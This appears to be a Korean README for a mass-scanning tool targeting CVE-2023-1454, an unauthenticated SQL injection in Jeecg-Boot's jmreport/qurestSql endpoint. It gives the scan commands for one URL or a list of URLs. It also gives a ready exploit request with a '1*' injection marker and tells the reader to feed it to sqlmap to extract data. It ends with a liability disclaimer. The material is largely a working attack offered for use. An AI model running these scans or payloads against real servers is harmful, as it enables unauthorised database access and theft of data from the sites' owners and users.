
CVE-2023-1454,Jeecg-Boot 프론트엔드 SQL 인젝션,CVE-2023-1454 일괄 탐지
jmreport/qurestSql 미인증 SQL 인젝션 대량 스캔 poc Jeecg-Boot는 Spring Boot와 Jeecg-Boot-Plus 기반의 빠른 개발 플랫폼으로, 최신 jeecg-boot 3.5.0에서 여러 SQL 인젝션 취약점이 발견되었습니다.
원본 도구는 오탐률이 높아 판정 조건을 수정하고 겸사겸사 코드도 최적화했습니다.
python3 CVE-2023-1454-scan.py -u http://127.0.0.1:1111 단일 URL 테스트
python3 CVE-2023-1454-scan.py -f url.txt 대량 탐지
스캔 종료 후 현재 디렉터리에 취약점이 존재하는 URL의 vuln.txt가 생성됩니다
poc:

exp:
패킷을 txt로 저장한 뒤 sqlmap을 사용하면 데이터를 얻을 수 있습니다
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 129
{"apiSelectId":"1290104038414721025",
"id":"1*"}

본 문서에서 제공하는 정보의 전파 및 이용으로 인해 발생하는 직간접적인 결과 및 손실은 모두 사용자 본인의 책임이며, 작성자는 이에 대해 어떠한 책임도 지지 않습니다.